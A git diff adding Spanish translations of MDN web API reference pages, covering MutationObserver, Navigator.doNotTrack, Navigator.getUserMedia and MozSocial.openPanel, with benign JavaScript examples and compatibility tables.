+++ b/files/es/web/api/mozsocial/openpanel/index.html
@@ -0,0 +1,30 @@
+---
+title: MozSocial.openPanel
+slug: Web/API/MozSocial/openPanel
+translation_of: Archive/Social_API/MozSocial/openPanel
+---
+<p>{{ ApiRef() }}</p>
+<p>{{non-standard_header()}}</p>
+<p>{{fx_minversion_header("17.0")}}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Abre un panel desplegable sujeto a la barra lateral del proveedor de medios sociales con una distancia vertical dada.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval">MozSocial.openPanel(<em>toUrl</em>, <em>offset</em>, <em>callback</em>);
+</pre>
+<h3 id="Parámetros">Parámetros</h3>
+<dl>
+ <dt>
+  <code>toUrl</code></dt>
+ <dd>
+  La URL al contenido a presentar en el panel.</dd>
+ <dt>
+  <code>offset</code></dt>
+ <dd>
+  La distancia vertical, en pixeles, a la cual posicionar el panel desplegable.</dd>
+ <dt>
+  <code>callback</code></dt>
+ <dd>
+  Un objeto para recibir notificaciones devueltas por la conexión. La llamada de vuelta recibe como entrada una referencia al panel desplegable. &lt;&lt;&lt;OCUPA ENLACE A DETALLES&gt;&gt;&gt;</dd>
+</dl>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p>No es parte de ninguna especificación.</p>
diff --git a/files/es/web/api/mutationobserver/index.html b/files/es/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..f0fe2a4b01
--- /dev/null
+++ b/files/es/web/api/mutationobserver/index.html
@@ -0,0 +1,330 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> establece un mecanismo para reaccionar ante cambios en el <a href="/en-US/docs/DOM">DOM</a>. Ha sido diseñado como un sustituto de los <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a> definidos en las especificaciones de <em>DOM3 Events</em>.</p>
+
+<h2 id="Constructor" name="Constructor">Constructor</h2>
+
+<h3 id="MutationObserver()" name="MutationObserver()"><code>MutationObserver()</code></h3>
+
+<p>Constructor para la instaciación de nuevos <em>DOM mutation observers</em>.</p>
+
+<pre class="eval">MutationObserver(
+  function callback
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parámetros</h6>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La función que será llamada en cada mutación del DOM. El <em>observer</em> llamará a esta función con dos argumentos. El primero es un array de objetos, cada uno del tipo <a href="#MutationRecord"><code>MutationRecord</code></a>. El segundo es la propia instancia del <code>MutationObserver</code>.</dd>
+</dl>
+
+<h2 id="Instance_methods" name="Instance_methods">Métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} target, <a href="#MutationObserverInit">MutationObserverInit</a> options );</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#disconnect()">disconnect</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="observe()" name="observe()"><code>observe()</code></h3>
+
+<p>Registra la instancia del <code>MutationObserver</code>  para recibir notificaciones de las mutaciones del DOM sobre el nodo especificado.</p>
+
+<pre class="eval">void observe(
+  {{domxref("Node")}} target,
+  <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> options
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parámetros</h6>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>El {{domxref("Node")}} sobre el que observar las mutaciones del DOM.</dd>
+ <dt><code>options</code></dt>
+ <dd><code>Un objeto <a href="#MutationObserverInit">MutationObserverInit</a></code>, que especifica que mutaciones del DOM deben ser informadas.</dd>
+</dl>
+
+<div class="note">NOTA: Añadir un observador a un elemento es igual que addEventListener, si usted observa el elemento múltiples veces no hace ninguna diferencia. Si se observa dos veces un elemento, el observe callback no se ejecutará dos veces, ni tampoco tendrá que ejecutar disconnect() dos veces. En otras palabras, una vez el elemento es observado, observarlo de nuevo con la misma instancia del observador no hará nada. Sin embargo, si el callback es diferente por supuesto se le añadirá otro observador.</div>
+
+<h3 id="disconnect()" name="disconnect()"><code>disconnect()</code></h3>
+
+<p>Evita que la instancia <code>de MutationObserver</code> continue recibiendo notificaciones de modificaciones del DOM. Hasta que el método <a href="#observe()"><code>observe()</code></a> sea usado de nuevo, la función callback no será invocada.</p>
+
+<pre class="eval">void disconnect();
+</pre>
+
+<h3 id="takeRecords()" name="takeRecords()"><code>takeRecords()</code></h3>
+
+<p>Vacía la cola de registros de la instancia de <code>MutationObserver</code> devolviendo su contenido.</p>
+
+<pre class="eval">Array takeRecords();
+</pre>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>Returns an Array of <a href="#MutationRecord"><code>MutationRecord</code>s</a>.</p>
+
+<h2 id="MutationObserverInit" name="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> es un objeto para el que se pueden especificar las siguientes propiedades:</p>
+
+<div class="note">NOTA: Como mínimo las propiedades <code>childList</code>, <code>attributes</code>, o <code>characterData </code>deben ser <code>true</code>. En caso contrario, se producirá un error "An invalid or illegal string was specified"</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si la adición y/o eliminación de elementos hijo del nodo (incluso los nodos <code>text</code>) han se ser observados.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si los cambios en los atributos deben ser observados</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si los cambios en los datos deben ser observados</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si los cambios tambien deben ser observados en los descendientes.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si <code>attributes</code> es <code>true</code> y el valor anterior al cambio debe ser guardado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td>
+    <p>Establecer a <code>true</code> si <code>characterData</code> vale <code>true</code> y el dato anterior al cambio de be ser guardado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>
+    <p>Asigne un array de nombres de atributos locales (sin su espacio de nombres) si no necesita observar los cambios en todos los atributos</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="MutationRecord" name="MutationRecord"><code>MutationRecord</code></h2>
+
+<p><code>MutationRecord</code> es el objeto que será pasado a la funcion "callback" del observador. Tiene las siguientes propiedades:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Propiedad</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>Devuelve:</p>
+
+    <ul>
+     <li><code>attributes </code>si el cambio fué en un atributo</li>
+     <li><code>characterData</code> si se produjo en un nodo.</li>
+     <li><code>childList</code> si se produjo en los nodos del árbol.</li>
+    </ul>
+
+    <dl>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>
+    <p>Devuelve el<strong> nodo</strong> afectado por el cambio, dependiendo del <code>type</code>:</p>
+
+    <ul>
+     <li>Para <code>attributes</code>, el elemento cuyos atributos han cambiado.</li>
+     <li>Para <code>characterData</code>, el nodo <code>CharacterData</code>.</li>
+     <li>Para <code>childList</code>, El nodo padre cuyos hijos han cambiado.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>addedNodes</code></td>
+   <td><code>{{domxref("NodeList")}}</code></td>
+   <td>
+    <p>Devuelve los nodos añadidos. Si no tiene nodos añadidos devuelve un <span style="font-family: courier new,andale mono,monospace;">NodeList</span> vacio.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>removedNodes</code></td>
+   <td><code>{{domxref("NodeList")}}</code></td>
+   <td>
+    <p>Devuelve los nodos eliminados. Si no tiene nodos eliminados devuelve un <span style="font-family: courier new,andale mono,monospace;">NodeList</span> vacio.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>previousSibling</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>
+    <p>Devuelve el nodo hermano <strong>anterior</strong> añadido o eliminado, o el valor <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>nextSibling</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>
+    <p>Devuelve el <strong>siguiente</strong> nodo hermano añadido o eliminado, o el valor <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeName</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>Devuelve el nombre local del atributo cambiado, o el valor <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>attributeNamespace</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>Devuelve espacio de nombres (namespace) del atributo cambiado, o el valor <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code></td>
+   <td><code>String</code></td>
+   <td>
+    <p>El valor devuelto depende del <code>type</code>:</p>
+
+    <ul>
+     <li>Para <code>attributes</code>,el valor anterior del atributo.</li>
+     <li>Para <code>characterData</code>,los datos antes del cambio</li>
+     <li>Para <code>childList</code>,devuelve <code>null</code>.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example_usage" name="Example_usage">Ejemplo de uso</h2>
+
+<p>El siguiente ejemplo fué tomado de: <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">this blog post</a>.</p>
+
+<pre class="brush: js">// selecciona el nodo target
+var target = document.querySelector('#some-id');
+
+// Crea una instancia de observer
+var observer = new MutationObserver(function(mutations) {
+  mutations.forEach(function(mutation) {
+    console.log(mutation.type);
+  });
+});
+
+// Configura el observer:
+var config = { attributes: true, childList: true, characterData: true };
+
+// pasa al observer el nodo y la configuracion
+observer.observe(target, config);
+
+// Posteriormente, puede detener la observacion
+observer.disconnect();
+</pre>
+
+<h2 id="Additional_reading" name="Additional_reading">Lectura adicional</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+ <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">The mutation summary library</a></li>
+ <li><a href="http://dom.spec.whatwg.org/#mutation-observers">The DOM standard</a> which defines the <code>MutationObserver</code> interface</li>
+</ul>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>18 {{ property_prefix("-webkit") }}<br>
+    26</td>
+   <td>{{ CompatGeckoDesktop(14) }}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6.0 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE  (Windows Phone) </th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>18 {{ property_prefix("-webkit") }}<br>
+    26</td>
+   <td>{{ CompatGeckoMobile(14) }}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">11 (8.1)</span></td>
+   <td>15</td>
+   <td>
+    <p>6 {{ property_prefix("-webkit")}}</p>
+
+    <p>7</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/api/mutationobserver/mutationobserver/index.html b/files/es/web/api/mutationobserver/mutationobserver/index.html
new file mode 100644
index 0000000000..faf72f1db3
--- /dev/null
+++ b/files/es/web/api/mutationobserver/mutationobserver/index.html
@@ -0,0 +1,98 @@
+---
+title: MutationObserver.MutationObserver()
+slug: Web/API/MutationObserver/MutationObserver
+translation_of: Web/API/MutationObserver/MutationObserver
+---
+<div>{{APIRef("DOM WHATWG")}}</div>
+
+<p><span class="seoSummary">El constructor DOM <code><strong>MutationObserver()</strong></code> — parte del interface {{domxref("MutationObserver")}} — </span>crea y devuelve un nuevo objeto <strong>observer </strong>que llamará a la función especificada (callback), cuando tengan lugar cambios sobre el DOM. Estos observadores no se inician inmediatamente; en primer lugar debemos llamar al método {{domxref("MutationObserver.observe", "observe()")}} para establecer qué parte del DOM observar y que tipo de cambios comunicar.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>observer</em> = new MutationObserver(<em>callback</em>);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La función que será llamada con cada cambio en el DOM, determinado por el nodo, subárbol y opciones. Esta función toma dos parámetros de entrada: un array de objetos {{domxref("MutationRecord")}}, con los cambios producidos, y el <code>MutationObserver</code> que llamó a la función. Para mas detalles vea {{anch("Example", "example")}}</dd>
+ <dt> </dt>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un nuevo objeto {{domxref("MutationObserver")}}, configurado para llamar a una determinada función cuando se producca un cambio en el DOM.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo crea un nuevo <code>MutationObserver</code> configurado para <em>observar </em>a un nodo y a sus hijos (subárbol), cuando se añadan o eliminen elementos al mismo; tambien observa cualquier cambio en los atributos de los elementos del árbol.</p>
+
+<h3 id="La_función_callback">La función callback</h3>
+
+<pre class="brush: js">function callback(mutationList, observer) {
+  mutationList.forEach((mutation) =&gt; {
+    switch(mutation.type) {
+      case 'childList':
+        /* Uno o mas hijos han sido añadidos y/o eliminados del árbol;
+           vea mutation.addedNodes y mutation.removedNodes */
+        break;
+      case 'attributes':
+        /* El valor de un atributo en mutation.target ha cambiado;
+           El nombre del atributo esta en mutation.attributeName y
+           su valor anterior en mutation.oldValue */
+        break;
+    }
+  });
+}
+</pre>
+
+<p>La función <code>callback()</code> es llamada cuando el <strong>observer </strong>detecta cambios que coinciden con la configuración de consulta especificada cuando llamamos a {{domxref("MutationObserver.observe", "observe()")}} para que inicie la observación.</p>
+
+<p>El tipo de cambio que se produjo (tanto en la lista de hijos como en los atributos) es detectado observando la propiedad {{domxref("MutationRecord.type", "mutation.type")}}</p>
+
+<h3 id="Crear_e_iniciar_un_observer">Crear e iniciar un  "observer"</h3>
+
+<p>Este código establece el proceso de observación</p>
+
+<pre class="brush: js">var targetNode = document.querySelector("#someElement");
+var observerOptions = {
+  childList: true,
+  attributes: true,
+  subtree: true //Omita o ponga false si no quiere controlar los cambios en los hijos
+}
+
+var observer = new MutationObserver(callback);
+observer.observe(targetNode, observerOptions);</pre>
+
+<p>El subárbol deseado se localiza buscando un elemento cuyo ID es "someElement". Un conjunto de opciones para el "observer" es establecido en el registro <code>observerOptions</code>. En él, especificamos los valores <code>true </code>tanto para <code>childList</code> como <code>attributes</code>, para obtener la información deseada.</p>
+
+<p>Posteriormente instanciamos el objeto observer, especificando la función <code>callback()</code>, e iniciamos la observación de los nodos del DOM llamando al método <code>observe()</code>, pasandole el nodo y las opciones.</p>
+
+<p>Desde este momento y hasta que se llame al método {{domxref("MutationObserver.disconnect", "disconnect()")}}, la funcion <code>callback()</code> será llamada cada vez que un elemento sea añadido o eliminado del árbol del DOM, cuya raiz es  <code>targetNode</code>, o uno de sus atributos sea cambiado.</p>
+
+<p> </p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-mutationobserver-mutationobserver', 'MutationObserver()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página ha sido generada utilizando datos estructurados. Si desea contribuir, compruebe nuestra <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data </a>y envienos una petición de actualizacion</div>
+
+<p>{{Compat("api.MutationObserver.MutationObserver")}}</p>
diff --git a/files/es/web/api/mutationobserver/observe/index.html b/files/es/web/api/mutationobserver/observe/index.html
new file mode 100644
index 0000000000..607af27cd0
--- /dev/null
+++ b/files/es/web/api/mutationobserver/observe/index.html
@@ -0,0 +1,95 @@
+---
+title: MutationObserver.observe()
+slug: Web/API/MutationObserver/observe
+translation_of: Web/API/MutationObserver/observe
+---
+<div>{{APIRef("DOM WHATWG")}}</div>
+
+<p><span class="seoSummary">El método {{domxref("MutationObserver")}} <code><strong>observe()</strong></code><strong> </strong>configura la funcion <code>MutationObserver</code> para que inicie la recepción de cambios en el DOM que coincidan con las opciones dadas.</span></p>
+
+<p>Según la configuración, el <em>observador </em>verá un solo {{domxref("Node")}} del árbol del DOM, o ese nodo y alguno o todos los nodos descendientes.</p>
+
+<p>Para detener al <code>MutationObserver</code> (de modo que la funcion no sea llamada), llame al método {{domxref("MutationObserver.disconnect()")}}.</p>
+
+<ul>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>mutationObserver</em>.observe(<em>target</em>[, <em>options</em>])
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd> Un {{domxref("Node")}} del DOM (que puede ser un {{domxref("Element")}}) perteneciente al  árbol DOM, o la raiz de un subárbol de nodos, donde observar cambios.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objeto {{domxref("MutationObserverInit")}} opcional, que decribe qué cambios en el DOM deben ser enviados a la función <code>callback </code>del observador.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>TypeError</code></dt>
+ <dd>llamado en cualquiera de las siguientes circunstancias</dd>
+ <dd>
+ <ul>
+  <li>Las opciones han sido configuradas de tal modo que no existe nada que monitorizar (por ejemplo, si {{domxref("MutationObserverInit.childList")}}, {{domxref("MutationObserverInit.attributes")}}, y {{domxref("MutationObserverInit.characterData")}} son <strong>false</strong>)</li>
+  <li>La opcion <code>attributes</code> es  <code>false</code> (indicando que los cambios en los atributos no son monitorizados) y <code>attributeOldValue</code> es <code>true</code> y/o <code>attributeFilter</code> está presente.</li>
+  <li>Las opciones {{domxref("MutaitonObserverInit.characterDataOldValue", "characterDataOldValue")}} son <code>true </code>pero {{domxref("MutationObserverInit.characterData")}} es <code>false</code> (indicando que los cambios en los caracteres no se guardan).</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<h3 id="Reutilizar_MutationObservers">Reutilizar MutationObservers</h3>
+
+<p>Puede llamar varias veces al método <code>observe()</code> del mismo objeto <code>MutationObserver</code>  para ver los cambios en diferentes partes del árbol del DOM y/o diferentes tipos de cambios. Sin embargo ha de tener en cuenta:</p>
+
+<ul>
+ <li>Si llama a <code>observe()</code> en un nodo que ya estaba siendo observado por el mísmo <code>MutationObserver</code>, todos los observadores serán automáticamente eliminados de todos los elementos observados antes de que el nuevo observador sea activado.</li>
+ <li>Si el mismo <code>MutationObserver</code> no estaba siendo usado sobre ese nodo, entonces los observadores existentes se quedarán solos y se agregará el nuevo.</li>
+</ul>
+
+<h3 id="La_observación_sigue_a_los_nodos_cuando_se_desconecta">La observación sigue a los nodos cuando se desconecta</h3>
+
+<p>Los observadores de cambios tienen como objetivo permitirle ver un conjunto de nodos a lo largo del tiempo, incluso si la conexion entre estos nodos desaparece. Si esta observando un subárbol de nodos, y una parte del subárbol es desconectado y llevado a otra parte del DOM, continuará viendo ese mismo segmento de nodos, recibiendo las mismas llamadas a la función que antes de ser desconectado.</p>
+
+<p>En otras palabras, hasta que se le haya notificado que los nodos se están separando de su subárbol monitoreado, recibirá notificaciones de los cambios en ese subárbol y sus nodos. Esto evita que pierda los cambios producidos despues de que la conexion se corte y antes de que tenga la oportunidad de especificar un nuevo monitoreo sobre los cambios en el nodo o subárbol movido.</p>
+
+<p>De manera que en teoria si mantiene la pista de los objetos {{domxref("MutationRecord")}} que describen los cambios, podrá "deshacer" los mismos, devolviendo el DOM a su estado inicial.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p> </p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-mutationobserver-observe', 'MutationObserver.observe()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+
+
+<p>{{Compat("api.MutationObserver.observe")}}</p>
diff --git a/files/es/web/api/navigator/donottrack/index.html b/files/es/web/api/navigator/donottrack/index.html
new file mode 100644
index 0000000000..fbc7c54b32
--- /dev/null
+++ b/files/es/web/api/navigator/donottrack/index.html
@@ -0,0 +1,111 @@
+---
+title: Navigator.doNotTrack
+slug: Web/API/Navigator/doNotTrack
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Navigator/doNotTrack
+---
+<div>{{ApiRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>Devuelve los ajustes de do-not-track del usuario. Esto es <code>"1"</code> si el usuario ha solicitado no ser rastreado por sitios web, contenidos, o anuncios.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>dnt</em> = <em>navigator</em>.doNotTrack;
+</pre>
+
+<p>El valor refleja el de la cabecera do-not-track, ej. valores de {"1", "0", "unspecified" }. Nota: Antes de Gecko 32, Gecko empleaba los valores { "yes", "no", "unspecified"} (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=887703">bug 887703</a>).</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">console.log(navigator.doNotTrack);
+// imprime "1" si DNT está habilitado; "0" si el usuario ha aceptado el rastreo; en caso contrario es "unspecified"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Tracking", "#widl-Navigator-doNotTrack", "Navigator.doNotTrack")}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>23</td>
+   <td>{{CompatGeckoDesktop("9.0")}}<sup>[1]</sup></td>
+   <td>9<sup>[2]</sup><br>
+    11[3]</td>
+   <td>12</td>
+   <td>5.1<sup>[4]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Gecko 32 Firefox reporta <code>navigator.doNotTrack</code> con valores de <code>yes</code> y <code>no</code> en lugar de <code>1</code> y <code>0</code>.</p>
+
+<p>[2] Internet Explorer 9 y 10 utilizan un prefijo, ej. <code>navigator.msDoNotTrack</code>.</p>
+
+<p>[3] Internet Explorer 11 y Edge utilizan <code>window.doNotTrack</code> en lugar de <code>navigator.doNotTrack</code>.</p>
+
+<p>[4] Safari 7.1.3+ utiliza <code>window.doNotTrack</code> en lugar de <code>navigator.doNotTrack</code>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Do_not_track_field_guide">Guía sobre el campo Do Not Track</a></li>
+</ul>
diff --git a/files/es/web/api/navigator/getusermedia/index.html b/files/es/web/api/navigator/getusermedia/index.html
new file mode 100644
index 0000000000..e3fd046743
--- /dev/null
+++ b/files/es/web/api/navigator/getusermedia/index.html
@@ -0,0 +1,184 @@
+---
+title: Navigator.getUserMedia
+slug: Web/API/Navigator/getUserMedia
+translation_of: Web/API/Navigator/getUserMedia
+---
+<p>Pide al usuario permiso para usar un dispositivo multimedia como una cámara o micrófono. Si el usuario concede este permiso, el successCallback es invocado en la aplicación llamada con un objeto <a href="/en-US/docs/WebRTC/MediaStream_API#LocalMediaStream" title="WebRTC/MediaStream_API#LocalMediaStream">LocalMediaStream</a> como argumento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">navigator.getUserMedia ( constraints, successCallback, errorCallback );</pre>
+
+<p><strong>Ejemplo</strong></p>
+
+<p>Aquí  hay un ejemplo usando getUserMedia() con los prefijos del navegador.</p>
+
+<pre class="brush: js">navigator.getMedia = ( navigator.getUserMedia ||
+                       navigator.webkitGetUserMedia ||
+                       navigator.mozGetUserMedia);
+
+navigator.getMedia (
+
+   // Restricciones (contraints) *Requerido
+   {
+      video: true,
+      audio: true
+   },
+
+   // Funcion de finalizacion (Succes-Callback) *Requerido
+   function(localMediaStream) {
+      var video = document.querySelector('video');
+      video.src = window.URL.createObjectURL(localMediaStream);
+      video.onloadedmetadata = function(e) {
+         // Haz algo con el video aquí.
+      };
+   },
+
+   // errorCallback *Opcional
+   function(err) {
+    console.log("Ocurrió el siguiente error: " + err);
+   }
+
+);</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Parámetro</th>
+   <th scope="col">
+    <p>Requerido/Opcional</p>
+   </th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>constraints</td>
+   <td>Requerido</td>
+   <td>El tipo de multimedia que soporta el objeto LocalMediaStream devuelto en el successCallback.</td>
+  </tr>
+  <tr>
+   <td>successCallback </td>
+   <td>Requerido</td>
+   <td>La función a invocar cuando se pasa el objeto LocalMediaStream.</td>
+  </tr>
+  <tr>
+   <td>errorCallback</td>
+   <td>Opcional</td>
+   <td>La función que se invoca en la aplicación si falla la llamada.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="constraints">constraints</h3>
+
+<p>El parámetro <code>constraints</code> es un objeto <code>MediaStreamConstraints</code> con dos miembros booleanos: <code>video</code> y <code>audio</code>. Estos describen el los tipos de multimedia soportados por el objeto <a href="/en-US/docs/WebRTC/MediaStream_API#LocalMediaStream" title="WebRTC/MediaStream_API#LocalMediaStream">LocalMediaStream</a>. Uno o ambos deben ser especificados para validar el argumento del parametro constraint. Si un constraint especificado no es soportado por el navegador, <code>getUserMedia </code>llama a la función <code>errorCallback </code>con el error <code>NOT_SUPPORTED_ERROR</code>. Si el navegador no puede encontrar ninguna fuente multimedia con el tipo especificado, <code>getUserMedia </code>llama a la función <code>errorCallback </code>con el error <code>MANDATORY_UNSATISFIED_ERR</code>.</p>
+
+<p>Si el valor o el miembro no es especificado en el objeto, el valor del miembro por defecto será falso. El siguiente ejemplo muestra como definir el constraints para audio y video:</p>
+
+<pre>{ video: true, audio: true }</pre>
+
+<h3 id="successCallback">successCallback</h3>
+
